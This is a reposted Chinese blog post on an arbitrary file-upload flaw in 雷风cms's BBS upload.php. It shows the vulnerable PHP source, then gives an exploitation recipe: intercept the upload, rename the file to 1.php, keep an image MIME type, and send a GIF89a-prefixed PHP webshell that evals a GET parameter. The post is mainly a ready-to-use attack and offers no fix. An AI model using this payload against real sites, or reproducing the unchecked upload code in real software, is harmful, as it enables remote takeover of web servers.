雷风cms 漏洞

简介:

雷风cms默认是有一个bbs的, bbs根目录下默认是有一个upload.php
源码如下:

01 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "upload/2011/5/201105291829080676.gif) repeat-x;} 

14 </style> 

15 <body> 

16 <? 

17 if($_GET["action"]=="load"){ 

18     $uptypes = array('image/jpg','image/jpeg','image/png','image/pjpeg','image/gif','image/bmp','image/x-png'); 

19         $url     = "http://".$_SERVER["SERVER_NAME"]. $_SERVER["PHP_SELF"]; 

20         $url     = explode("/upload.php",$url); 

21         $url     = explode("/",$url[0]); 

22         $max_file_size = 2*(1024*1024); //上传文件大小限制, 单位BYTE 

23   

24         $root    = "upload_img"; 

25           

26         $folder  = date("Y-m",time()); 

27         $authnum = rand()%100000; 

28           

29         if ($_SERVER['REQUEST_METHOD'] == 'POST'){  

30             if (!is_uploaded_file($_FILES["file"][tmp_name])){ 

31                     exit("<script language=javascript>alert('Please select one file to upload(请选择上传文件)!');history.go(-1);</script>"); 

32                 } 

33                 $file = $_FILES["file"]; 

34                 if($max_file_size < $file["size"]){//检查文件大小 

35                     exit("<script language=javascript>alert('Max file size of $max_file_size bytes exceeded(文件大小不能超过2M)!');history.go(-1);</script>"); 

36                 } 

37                 if(!in_array($file["type"],$uptypes)){//检查文件类型 

38                     exit("<script language=javascript>alert('Type of the file must be \".jpg/.jpeg/.bmp/.gif/png\"(文件后缀只能是.jpg/.jpeg/.bmp/.gif/png)!');history.go(-1);</script>"); 

39                 } 

40             if(!@file_exists($root."/".$folder)) mkdir($root."/".$folder); 

41                   

42             $filename   = $file["tmp_name"]; 

43             $image_size = getimagesize($filename); 

44             $pinfo      = pathinfo($file["name"]); 

45                 $ftype      = $pinfo['extension']; 

46                 $fileinfo   = $root."/".$folder."/".time().$authnum.".".$ftype; 

47                   

48                 if (file_exists($fileinfo) && $overwrite != true){  

49                     exit("<script language=javascript>alert('同名文件已经存在了!');history.go(-1);</script>"); 

50                 } 

51                 if(!move_uploaded_file ($filename,$fileinfo)){ 

52                    exit("<script language=javascript>alert('移动文件出错!');history.go(-1);</script>"); 

53                 } 

54             $pinfo=pathinfo($fileinfo); 

55             $fname=$pinfo[basename]; 

56                   

57                 $root = explode("../",$root); 

58                 $urlpath = ""; 

59                 for($i=0;$i<count($url)-count($root)+1;$i++){ 

60                         $urlpath .= $url[$i]."/"; 

61                 } 

62                 $urlpath .= $root[count($root)-1]."/"; 

63                   

64                 $picture  = $urlpath.$folder."/".$fname; 

65             $id = trim($_POST["id"]); 

66                 if(!$id) $id = "picture"; 

67                   

68                 echo "<script language='javascript'>\r\n"; 

69             echo "window.parent.document.getElementById('$id').value='$picture';\r\n"; 

70             echo "window.location.href='upload.php?id=$id';\r\n"; 

71             echo "</script>\r\n"; 

72         } 

73         exit; 

74 } 

75 ?> 

76 <form action="upload.php?action=load" method="post" enctype="multipart/form-data" name="upform" onSubmit="return checkform();"> 

77         <input name="file" type="file" class="input" id="iFile" size="18" /> 

78         <input name="Submit" type="submit" class="iButton" value="上 传" /> 

79         <input type="hidden" name="id" id="id" value="<?=$_GET["id"]?>"> 

80 </form> 

81 <script language="javascript"> 

82 function checkform(){ 

83     if(document.getElementById("file").value == ""){ 

84                 alert("Please select one file to upload(请选择上传文件)!"); 

85                 return false; 

86         } 

87 } 

88 </script> 

89 </body> 

90 </html> 
很明显,无验证 过滤问题。
利用方法:
抓包
改包如下:
Content-Disposition: form-data; name="files"; filename="1.php"
Content-Type: image/jpeg

Gif89a<?
eval ($_GET[SB]);
?>



本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/577650,如需转载请自行联系原作者


相关文章
|
数据采集 生物认证 数据库
CMS指纹识别
CMS指纹识别
511 0
CMS指纹识别
|
9月前
|
开发框架 安全 关系型数据库
常见的CMS后台getshell姿势总结
常见的CMS后台getshell姿势总结
181 0
|
11月前
|
网络安全 PHP
常见的cms
常见的cms
105 0
|
12月前
|
SQL 安全
某CMS代码审计(上)
某CMS代码审计(上)
77 0
某CMS代码审计(上)
|
12月前
|
SQL 开发框架 安全
74cms 6.0.20版本文件包含漏洞复现
74cms 6.0.20版本文件包含漏洞复现
230 0
|
12月前
|
存储 安全 Shell
国外某cms代码审计实战
国外某cms代码审计实战
87 0
|
SQL 安全 前端开发
如何修复骑士cms网站漏洞
骑士CMS是国内公司开发的一套开源人才网站系统,使用PHP语言开发以及mysql数据库的架构,2019年1月份被某安全组织检测出漏洞,目前最新版本4.2存在高危网站漏洞,通杀SQL注入漏洞,利用该网站漏洞可以获取网站的管理员账号密码以及用户账号信息.
243 0
如何修复骑士cms网站漏洞
|
SQL 安全 数据可视化
齐博cms最新SQL注入网站漏洞 可远程执行代码提权
齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢。开发架构使用的是php语言以及mysql数据库,强大的网站并发能力。于近日,我们SINE安全公司发现齐博cms又爆出高危的sql注入漏洞,关于该网站漏洞的详情,我们来详细的分析漏洞的产生以及如何利用。
601 0
齐博cms最新SQL注入网站漏洞 可远程执行代码提权
|
安全 前端开发 关系型数据库
网站漏洞扫描 某CMS代码的越权与install.php重置渗透测试漏洞
客户网站前端时间被攻击,网站被劫持到了du博网站上去,通过朋友介绍找到我们做网站的安全防护,我们随即对客户网站进行了全面的渗透测试,包括了网站的漏洞检测与代码安全测试,针对于发现的漏洞进行了修复,包括网站安全部署等等方面,下面我们将这一次的安全应急处理过程分享给有需要的客户。
1648 0
网站漏洞扫描 某CMS代码的越权与install.php重置渗透测试漏洞
|
SQL 安全 关系型数据库
怎么修复网站漏洞 骑士cms的漏洞修复方案
骑士CMS是国内公司开发的一套开源人才网站系统,使用PHP语言开发以及mysql数据库的架构,2019年1月份被某安全组织检测出漏洞,目前最新版本4.2存在高危网站漏洞,通杀SQL注入漏洞,利用该网站漏洞可以获取网站的管理员账号密码以及用户账号信息. 目前很多人才网站都使用的骑士CMS系统,受影响的网站较多,关于该网站漏洞的详情我们来详细的分析一下。
2001 0